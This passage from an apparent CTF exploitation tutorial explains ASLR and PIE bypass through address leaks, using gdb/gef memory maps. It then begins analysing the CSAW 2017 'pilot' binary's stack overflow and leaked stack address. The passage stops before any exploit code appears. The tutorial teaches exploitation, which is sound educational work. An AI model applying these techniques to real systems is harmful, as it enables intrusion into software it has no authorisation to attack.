0x4e47007972742f2e ("./try"?)
────────────────────────────────────────────────────────────── code:x86:64 ────
     0x401154 <main+34>        mov    esi, 0x9
     0x401159 <main+39>        mov    rdi, rax
     0x40115c <main+42>        call   0x401040 <fgets@plt>
 →   0x401161 <main+47>        mov    DWORD PTR [rbp-0x18], 0x5
     0x401168 <main+54>        nop
     0x401169 <main+55>        mov    rax, QWORD PTR [rbp-0x8]
     0x40116d <main+59>        xor    rax, QWORD PTR fs:0x28
     0x401176 <main+68>        je     0x40117d <main+75>
     0x401178 <main+70>        call   0x401030 <__stack_chk_fail@plt>
────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "try", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401161 → main()
```

```
gef➤  x/g $rbp-0x18
0x7ffcdc7caf68:    0xa000000401050
```

This time we can see that the address is `0x7ffcdc7caf68`, so it has changed. Also one quick note, when you run a binary straight up in gdb, it can disable aslr in certain memory regions. The reason why aslr works here is I spawned the process, then attached it using pwntools.

Now know the addresses of various things in memory regions like the heap, stack, and libc (libc is where standard functions like `fgets` and `puts` live) can be extremely helpful if not necessary while attacking some targets. So what is the bypass to this mitigation?

The bypass is we leak an address from a memory region that we want to know what it's address space is. For this it might help to take a look at the memory mappings of a process with `vmmap`:

```
gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x00000000023b9000 0x00000000023da000 0x0000000000000000 rw- [heap]
0x00007ff338df3000 0x00007ff338e18000 0x0000000000000000 r-- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ff338e18000 0x00007ff338f8b000 0x0000000000025000 r-x /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ff338f8b000 0x00007ff338fd4000 0x0000000000198000 r-- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ff338fd4000 0x00007ff338fd7000 0x00000000001e0000 r-- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ff338fd7000 0x00007ff338fda000 0x00000000001e3000 rw- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ff338fda000 0x00007ff338fe0000 0x0000000000000000 rw-
0x00007ff338ff6000 0x00007ff338ff7000 0x0000000000000000 r-- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ff338ff7000 0x00007ff339018000 0x0000000000001000 r-x /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ff339018000 0x00007ff339020000 0x0000000000022000 r-- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ff339020000 0x00007ff339021000 0x0000000000029000 r-- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ff339021000 0x00007ff339022000 0x000000000002a000 rw- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ff339022000 0x00007ff339023000 0x0000000000000000 rw-
0x00007ffcdc7ab000 0x00007ffcdc7cc000 0x0000000000000000 rw- [stack]
0x00007ffcdc7d3000 0x00007ffcdc7d6000 0x0000000000000000 r-- [vvar]
0x00007ffcdc7d6000 0x00007ffcdc7d7000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
```

So here we can see various memory regions such as the `heap`, the `stack`, `libc`, and more. Thing is while the addresses in a memory space will change, the offset between the addresses themselves will not change. So if we leak a single address from a memory region that we know what is, we can just add the offset to whatever address we want to know. We can find this offset in gdb, since the offsets between two different memory addresses in the same memory region don't change. There are lots of different ways we can get an infoleak that you will see throughout this project. Also if we get an infoleak for let's say the `libc` region of memory, that is only good for the `libc` region of memory. We can't use that `libc` infoleak to figure out the address space for things like the `heap` or the `stack` (or vice versa).

pie

Position Independent Executable (pie) is another binary mitigation extremely similar to aslr. It is basically aslr but for the actual binary's code / memory regions. For instance, let's take a look at a binary that is compiled without `pie` :

```
gef➤  disas main
Dump of assembler code for function main:
   0x0000000000401132 <+0>:    push   rbp
   0x0000000000401133 <+1>:    mov    rbp,rsp
   0x0000000000401136 <+4>:    sub    rsp,0x20
   0x000000000040113a <+8>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000401143 <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000401147 <+21>:    xor    eax,eax
   0x0000000000401149 <+23>:    mov    rdx,QWORD PTR [rip+0x2ef0]        #
0x404040 <stdin@@GLIBC_2.2.5>
   0x0000000000401150 <+30>:    lea    rax,[rbp-0x12]
   0x0000000000401154 <+34>:    mov    esi,0x9
   0x0000000000401159 <+39>:    mov    rdi,rax
   0x000000000040115c <+42>:    call   0x401040 <fgets@plt>
=> 0x0000000000401161 <+47>:    mov    DWORD PTR [rbp-0x18],0x5
   0x0000000000401168 <+54>:    nop
   0x0000000000401169 <+55>:    mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040116d <+59>:    xor    rax,QWORD PTR fs:0x28
   0x0000000000401176 <+68>:    je     0x40117d <main+75>
   0x0000000000401178 <+70>:    call   0x401030 <__stack_chk_fail@plt>
   0x000000000040117d <+75>:    leave
   0x000000000040117e <+76>:    ret
End of assembler dump.
```

We can see here that all of the instruction addresses are fixed. The address `0x401132` will always point to the first instruction of the `main` function. We can even set a break point for it, and view it as an instruction:

```
gef➤  b *0x401132
Breakpoint 2 at 0x401132
gef➤  r
Starting program: /tmp/try

Breakpoint 2, 0x0000000000401132 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0000000000401132  →  <main+0> push rbp
$rbx   : 0x0
$rcx   : 0x0000000000401180  →  <__libc_csu_init+0> push r15
$rdx   : 0x00007fffffffe0e8  →  0x00007fffffffe3ff  →  "SHELL=/bin/bash"
$rsp   : 0x00007fffffffdff8  →  0x00007ffff7df1b6b  →  0x480002084ee8c789
$rbp   : 0x0000000000401180  →  <__libc_csu_init+0> push r15
$rsi   : 0x00007fffffffe0d8  →  0x00007fffffffe3f6  →  "/tmp/try"
$rdi   : 0x1
$rip   : 0x0000000000401132  →  <main+0> push rbp
$r8    : 0x00007ffff7fb1a40  →  0x0000000000000000
$r9    : 0x00007ffff7fb1a40  →  0x0000000000000000
$r10   : 0x7
$r11   : 0x2
$r12   : 0x0000000000401050  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffe0d0  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdff8│+0x0000: 0x00007ffff7df1b6b  →  0x480002084ee8c789    ← $rsp
0x00007fffffffe000│+0x0008: 0x0000000000000000
0x00007fffffffe008│+0x0010: 0x00007fffffffe0d8  →  0x00007fffffffe3f6  →
"/tmp/try"
0x00007fffffffe010│+0x0018: 0x0000000100040000
0x00007fffffffe018│+0x0020: 0x0000000000401132  →  <main+0> push rbp
0x00007fffffffe020│+0x0028: 0x0000000000000000
0x00007fffffffe028│+0x0030: 0x6f71579249248831
0x00007fffffffe030│+0x0038: 0x0000000000401050  →  <_start+0> xor ebp, ebp
────────────────────────────────────────────────────────────── code:x86:64 ────
     0x401121 <__do_global_dtors_aux+33> data16 nop WORD PTR cs:[rax+rax*1+0x0]
     0x40112c <__do_global_dtors_aux+44> nop    DWORD PTR [rax+0x0]
     0x401130 <frame_dummy+0>  jmp    0x4010c0 <register_tm_clones>
 →   0x401132 <main+0>         push   rbp
     0x401133 <main+1>         mov    rbp, rsp
     0x401136 <main+4>         sub    rsp, 0x20
     0x40113a <main+8>         mov    rax, QWORD PTR fs:0x28
     0x401143 <main+17>        mov    QWORD PTR [rbp-0x8], rax
     0x401147 <main+21>        xor    eax, eax
────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "try", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401132 → main()
```

```
gef➤  x/i 0x401132
=> 0x401132 <main>:    push   rbp
```

With pie, everything in the "binary's" memory regions is compiled to have an offset versus a fixed address. Each time the binary is run, the binary generates a random number known as a base. Then the address of everything becomes the base plus the offset. For this to make more since let's first look at the memory mapping:

```
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
```

When I say "binary's" memory regions I mean these regions specifically:

```
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
```

Now let's see what the main function looks like when we compile it with pie:

```
gef➤  disas main
Dump of assembler code for function main:
   0x0000000000001145 <+0>:    push   rbp
   0x0000000000001146 <+1>:    mov    rbp,rsp
   0x0000000000001149 <+4>:    sub    rsp,0x20
   0x000000000000114d <+8>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000001156 <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x000000000000115a <+21>:    xor    eax,eax
   0x000000000000115c <+23>:    mov    rdx,QWORD PTR [rip+0x2ead]        #
0x4010 <stdin@@GLIBC_2.2.5>
   0x0000000000001163 <+30>:    lea    rax,[rbp-0x12]
   0x0000000000001167 <+34>:    mov    esi,0x9
   0x000000000000116c <+39>:    mov    rdi,rax
   0x000000000000116f <+42>:    call   0x1040 <fgets@plt>
   0x0000000000001174 <+47>:    mov    DWORD PTR [rbp-0x18],0x5
   0x000000000000117b <+54>:    nop
   0x000000000000117c <+55>:    mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000001180 <+59>:    xor    rax,QWORD PTR fs:0x28
   0x0000000000001189 <+68>:    je     0x1190 <main+75>
   0x000000000000118b <+70>:    call   0x1030 <__stack_chk_fail@plt>
   0x0000000000001190 <+75>:    leave
   0x0000000000001191 <+76>:    ret
End of assembler dump.
```

As you can see, all of the instructions are now addressed to an offset versus a fixed address. Every time that the binary runs each of those instructions will have a different address. Let's see this in action.

Run 0:

```
gef➤  vmmap
Start              End                Offset             Perm Path
0x000055ce0fb38000 0x000055ce0fb39000 0x0000000000000000 r-- /tmp/try
0x000055ce0fb39000 0x000055ce0fb3a000 0x0000000000001000 r-x /tmp/try
0x000055ce0fb3a000 0x000055ce0fb3b000 0x0000000000002000 r-- /tmp/try
0x000055ce0fb3b000 0x000055ce0fb3c000 0x0000000000002000 r-- /tmp/try
0x000055ce0fb3c000 0x000055ce0fb3d000 0x0000000000003000 rw- /tmp/try
0x000055ce0fb5a000 0x000055ce0fb7b000 0x0000000000000000 rw- [heap]
0x00007fb90e941000 0x00007fb90e966000 0x0000000000000000 r-- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007fb90e966000 0x00007fb90ead9000 0x0000000000025000 r-x /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007fb90ead9000 0x00007fb90eb22000 0x0000000000198000 r-- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007fb90eb22000 0x00007fb90eb25000 0x00000000001e0000 r-- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007fb90eb25000 0x00007fb90eb28000 0x00000000001e3000 rw- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007fb90eb28000 0x00007fb90eb2e000 0x0000000000000000 rw-
0x00007fb90eb44000 0x00007fb90eb45000 0x0000000000000000 r-- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007fb90eb45000 0x00007fb90eb66000 0x0000000000001000 r-x /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007fb90eb66000 0x00007fb90eb6e000 0x0000000000022000 r-- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007fb90eb6e000 0x00007fb90eb6f000 0x0000000000029000 r-- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007fb90eb6f000 0x00007fb90eb70000 0x000000000002a000 rw- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007fb90eb70000 0x00007fb90eb71000 0x0000000000000000 rw-
0x00007fff45acc000 0x00007fff45aed000 0x0000000000000000 rw- [stack]
0x00007fff45b19000 0x00007fff45b1c000 0x0000000000000000 r-- [vvar]
0x00007fff45b1c000 0x00007fff45b1d000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
```

Run 1:

```
gef➤  vmmap
Start              End                Offset             Perm Path
0x000055c5ba9e8000 0x000055c5ba9e9000 0x0000000000000000 r-- /tmp/try
0x000055c5ba9e9000 0x000055c5ba9ea000 0x0000000000001000 r-x /tmp/try
0x000055c5ba9ea000 0x000055c5ba9eb000 0x0000000000002000 r-- /tmp/try
0x000055c5ba9eb000 0x000055c5ba9ec000 0x0000000000002000 r-- /tmp/try
0x000055c5ba9ec000 0x000055c5ba9ed000 0x0000000000003000 rw- /tmp/try
0x000055c5bc62a000 0x000055c5bc64b000 0x0000000000000000 rw- [heap]
0x00007ff808662000 0x00007ff808687000 0x0000000000000000 r-- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ff808687000 0x00007ff8087fa000 0x0000000000025000 r-x /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ff8087fa000 0x00007ff808843000 0x0000000000198000 r-- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ff808843000 0x00007ff808846000 0x00000000001e0000 r-- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ff808846000 0x00007ff808849000 0x00000000001e3000 rw- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ff808849000 0x00007ff80884f000 0x0000000000000000 rw-
0x00007ff808865000 0x00007ff808866000 0x0000000000000000 r-- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ff808866000 0x00007ff808887000 0x0000000000001000 r-x /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ff808887000 0x00007ff80888f000 0x0000000000022000 r-- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ff80888f000 0x00007ff808890000 0x0000000000029000 r-- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ff808890000 0x00007ff808891000 0x000000000002a000 rw- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ff808891000 0x00007ff808892000 0x0000000000000000 rw-
0x00007fff2ad6a000 0x00007fff2ad8b000 0x0000000000000000 rw- [stack]
0x00007fff2adc6000 0x00007fff2adc9000 0x0000000000000000 r-- [vvar]
0x00007fff2adc9000 0x00007fff2adca000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
```

As we can see, pie has changed the memory addresses for the binary's memory spaces.

Also one thing, pie can make it a bit annoying to set breakpoints. Luckily gef has a cool feature to help with this.

```
gef➤  disas main
Dump of assembler code for function main:
   0x0000000000001145 <+0>:    push   rbp
   0x0000000000001146 <+1>:    mov    rbp,rsp
   0x0000000000001149 <+4>:    sub    rsp,0x20
   0x000000000000114d <+8>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000001156 <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x000000000000115a <+21>:    xor    eax,eax
   0x000000000000115c <+23>:    mov    rdx,QWORD PTR [rip+0x2ead]        #
0x4010 <stdin@@GLIBC_2.2.5>
   0x0000000000001163 <+30>:    lea    rax,[rbp-0x12]
   0x0000000000001167 <+34>:    mov    esi,0x9
   0x000000000000116c <+39>:    mov    rdi,rax
   0x000000000000116f <+42>:    call   0x1040 <fgets@plt>
   0x0000000000001174 <+47>:    mov    DWORD PTR [rbp-0x18],0x5
   0x000000000000117b <+54>:    nop
   0x000000000000117c <+55>:    mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000001180 <+59>:    xor    rax,QWORD PTR fs:0x28
   0x0000000000001189 <+68>:    je     0x1190 <main+75>
   0x000000000000118b <+70>:    call   0x1030 <__stack_chk_fail@plt>
   0x0000000000001190 <+75>:    leave
   0x0000000000001191 <+76>:    ret
End of assembler dump.
```

Let's say we wanted to break at `0x116f`. We can't set a breakpoint for that offset directly. However we can still set a breakpoint for it:

```
gef➤  pie b *0x116f
gef➤  pie run
Stopped due to shared library event (no libraries added or removed)

Breakpoint 1, 0x000055555555516f in main ()
[+] base address 0x555555554000
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffdfde  →  0x7fffffffe0d00000
$rbx   : 0x0
$rcx   : 0x00005555555551a0  →  <__libc_csu_init+0> push r15
$rdx   : 0x00007ffff7fafa00  →  0x00000000fbad2088
$rsp   : 0x00007fffffffdfd0  →  0x00005555555551a0  →  <__libc_csu_init+0> push
r15
$rbp   : 0x00007fffffffdff0  →  0x00005555555551a0  →  <__libc_csu_init+0> push
r15
$rsi   : 0x9
$rdi   : 0x00007fffffffdfde  →  0x7fffffffe0d00000
$rip   : 0x000055555555516f  →  <main+42> call 0x555555555040 <fgets@plt>
$r8    : 0x00007ffff7fb1a40  →  0x0000000000000000
$r9    : 0x00007ffff7fb1a40  →  0x0000000000000000
$r10   : 0x7
$r11   : 0x2
$r12   : 0x0000555555555060  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffe0d0  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdfd0│+0x0000: 0x00005555555551a0  →  <__libc_csu_init+0> push r15
← $rsp
0x00007fffffffdfd8│+0x0008: 0x0000555555555060  →  <_start+0> xor ebp, ebp
0x00007fffffffdfe0│+0x0010: 0x00007fffffffe0d0  →  0x0000000000000001
0x00007fffffffdfe8│+0x0018: 0xdb3c67cc21531d00
0x00007fffffffdff0│+0x0020: 0x00005555555551a0  →  <__libc_csu_init+0> push r15
← $rbp
0x00007fffffffdff8│+0x0028: 0x00007ffff7df1b6b  →  <__libc_start_main+235> mov
edi, eax
0x00007fffffffe000│+0x0030: 0x0000000000000000
0x00007fffffffe008│+0x0038: 0x00007fffffffe0d8  →  0x00007fffffffe3f9  →
"/tmp/try"
────────────────────────────────────────────────────────────── code:x86:64 ────
   0x555555555163 <main+30>        lea    rax, [rbp-0x12]
   0x555555555167 <main+34>        mov    esi, 0x9
   0x55555555516c <main+39>        mov    rdi, rax
 → 0x55555555516f <main+42>        call   0x555555555040 <fgets@plt>
   ↳  0x555555555040 <fgets@plt+0>    jmp    QWORD PTR [rip+0x2f8a]        #
0x555555557fd0 <fgets@got.plt>
      0x555555555046 <fgets@plt+6>    push   0x1
      0x55555555504b <fgets@plt+11>   jmp    0x555555555020
```

```
      0x555555555050 <__cxa_finalize@plt+0> jmp    QWORD PTR [rip+0x2fa2]
# 0x555555557ff8
      0x555555555056 <__cxa_finalize@plt+6> xchg   ax, ax
      0x555555555058                  add    BYTE PTR [rax], al
──────────────────────────────────────────────────────── arguments (guessed) ────
fgets@plt (
   $rdi = 0x00007fffffffdfde → 0x7ffffffe0d00000,
   $rsi = 0x0000000000000009,
   $rdx = 0x00007ffff7fafa00 → 0x00000000fbad2088
)
──────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "try", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x55555555516f → main()
─────────────────────────────────────────────────────────────────────────────────
gef➤
```

As you see using the `pie b` and `pie run` commands, we were able to set a breakpoint for an offset.

So as to how to defeat pie and know the address of this memory region, you defeat it the same way you would defeat aslr. You leak a single address from the memory region. Then since the offsets stay the same every time, you can figure out the address of anything in that memory region.

Csaw 2017 pilot

Let's take a look at the binary:

```
$       file pilot
pilot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/l, for GNU/Linux 2.6.32,
BuildID[sha1]=6ed26a43b94fd3ff1dd15964e4106df72c01dc6c, stripped
$       ./pilot
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute
sequence of instructions to save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:0x7ffcfd6d92c0
[*]Command:15935728
```

So we can see that we are dealing with a 64 bit binary. When we run it, we see that it prints out a lot of text, including what looks like a memory address from the stack memory region. It then prompts us for input. Looking through the functions in Ghidra, we don't see a function labeled main. However we can find function `FUN_004009a6` which contains a lot of strings that we saw the program and output, and it looks like what we would expect to see:

```
undefined8 FUN_004009a6(void)

{
  basic_ostream *this;
  basic_ostream<char,std--char_traits<char>> *this_00;
  ssize_t sVar1;
  undefined8 uVar2;
  undefined input [32];

  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"[*]Welcome
DropShip Pilot...");
  operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--
char_traits<char>>);
  this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"[*]I am your
assitant A.I....");
  operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--
char_traits<char>>);
  this = operator<<<std--char_traits<char>>
                   ((basic_ostream *)cout,"[*]I will be guiding you through the
tutorial....");
  operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--
char_traits<char>>);
  this = operator<<<std--char_traits<char>>
                   ((basic_ostream *)cout,
                    "[*]As a first step, lets learn how to land at the
designated location....");
  operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--
char_traits<char>>);
  this = operator<<<std--char_traits<char>>
                   ((basic_ostream *)cout,

                    "[*]Your mission is to lead the dropship to the right
location and executesequence of instructions to save Marines & Medics..."
                   );
  operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--
char_traits<char>>);
  this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"[*]Good Luck
Pilot!....");
  operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--
char_traits<char>>);
  this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"
[*]Location:");
  this_00 = (basic_ostream<char,std--char_traits<char>> *)
            operator<<((basic_ostream<char,std--char_traits<char>>
*)this,input);
  operator<<(this_00,endl<char,std--char_traits<char>>);
  operator<<<std--char_traits<char>>((basic_ostream *)cout,"[*]Command:");
  sVar1 = read(0,input,0x40);
  if (sVar1 < 5) {
```

```
    this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"[*]There
are no commands....");
    operator<<((basic_ostream<char,std--char_traits<char>>
*)this,endl<char,std--char_traits<char>>)
    ;
    this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"[*]Mission
Failed....");
    operator<<((basic_ostream<char,std--char_traits<char>>
*)this,endl<char,std--char_traits<char>>)
    ;
    uVar2 = 0xffffffff;
  }
  else {
    uVar2 = 0;
  }
  return uVar2;
}
```

Looking through this code, we see that it prints a lot of text. However there are two important sections. The first is where it scans in the data:

```
  sVar1 = read(0,input,0x40);
```

We can see that it scans in `0x40` bytes worth of input into `input`. The char array `input` can only hold `32` bytes worth of input, so we have an overflow. Also we can see that the address printed is an infoleak (information about the program that is leak) for the start of our input in memory on the stack:

```
  this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"
[*]Location:");
  this_00 = (basic_ostream<char,std--char_traits<char>> *)
            operator<<((basic_ostream<char,std--char_traits<char>>
*)this,input);
  operator<<(this_00,endl<char,std--char_traits<char>>);
```

Looking at the stack layout in Ghidra, there doesn't really look like there is anything between the start of our input and the return address. With our overflow we should be able to overwrite the return address and get code execution:

```
**************************************************************
                             *                           FUNCTION
*

**************************************************************
                             undefined FUN_004009a6()
             undefined         AL:1           <RETURN>
             undefined[32]     Stack[-0x28]   input
XREF[2]:     00400aa4(*),

00400acf(*)
                             FUN_004009a6
XREF[4]:     entry:004008cd(*),

entry:004008cd(*), 00400de0,

00400e80(*)
        004009a6 55              PUSH       RBP
```

Let's find the offset between the start of our input and the return address using gdb. We will set a breakpoint for right after the read call, and look at the memory there:

```
gef➤  b *0x400ae5
Breakpoint 1 at 0x400ae5
gef➤  r
Starting program: /Hackery/pod/modules/bof_shellcode/csaw17_pilot/pilot
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute
sequence of instructions to save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:0x7fffffffde80
[*]Command:15935728
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────── registers ────
$rax   : 0x9
$rbx   : 0x0
$rcx   : 0x00007ffff776b081  →  0x5777fffff0003d48 ("H="?)
$rdx   : 0x40
$rsp   : 0x00007fffffffde80  →  0x3832373533393531 ("15935728"?)
$rbp   : 0x00007fffffffdea0  →  0x0000000000400b90  →   push r15
$rsi   : 0x00007fffffffde80  →  0x3832373533393531 ("15935728"?)
$rdi   : 0x0
$rip   : 0x0000000000400ae5  →   cmp rax, 0x4
$r8    : 0x0
$r9    : 0x00007ffff7fd7d00  →  0x00007ffff7fd7d00  →  [loop detected]
$r10   : 0x6
$r11   : 0x246
$r12   : 0x00000000004008b0  →   xor ebp, ebp
$r13   : 0x00007fffffffdf80  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────── stack ────
0x00007fffffffde80│+0x0000: 0x3832373533393531   ← $rsp, $rsi
0x00007fffffffde88│+0x0008: 0x000000000040080a  →  <setvbuf@plt+10> add cl, ch
0x00007fffffffde90│+0x0010: 0x00007fffffffdf80  →  0x0000000000000001
0x00007fffffffde98│+0x0018: 0x0000000000000000
0x00007fffffffdea0│+0x0020: 0x0000000000400b90  →   push r15     ← $rbp
0x00007fffffffdea8│+0x0028: 0x00007ffff767cb97  →  <__libc_start_main+231> mov
edi, eax
0x00007fffffffdeb0│+0x0030: 0x0000000000000000
0x00007fffffffdeb8│+0x0038: 0x00007fffffffdf88  →  0x00007fffffffe2cc  →
"/Hackery/pod/modules/bof_shellcode/csaw17_pilot/pi[...]"
────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400ad8                  mov    rsi, rax
     0x400adb                  mov    edi, 0x0
     0x400ae0                  call   0x400820 <read@plt>
 →   0x400ae5                  cmp    rax, 0x4
     0x400ae9                  setle  al
```

```
     0x400aec                    test   al, al
     0x400aee                    je     0x400b2f
     0x400af0                    mov    esi, 0x400d90
     0x400af5                    mov    edi, 0x6020a0
──────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "pilot", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────── trace ────
[#0] 0x400ae5 → cmp rax, 0x4
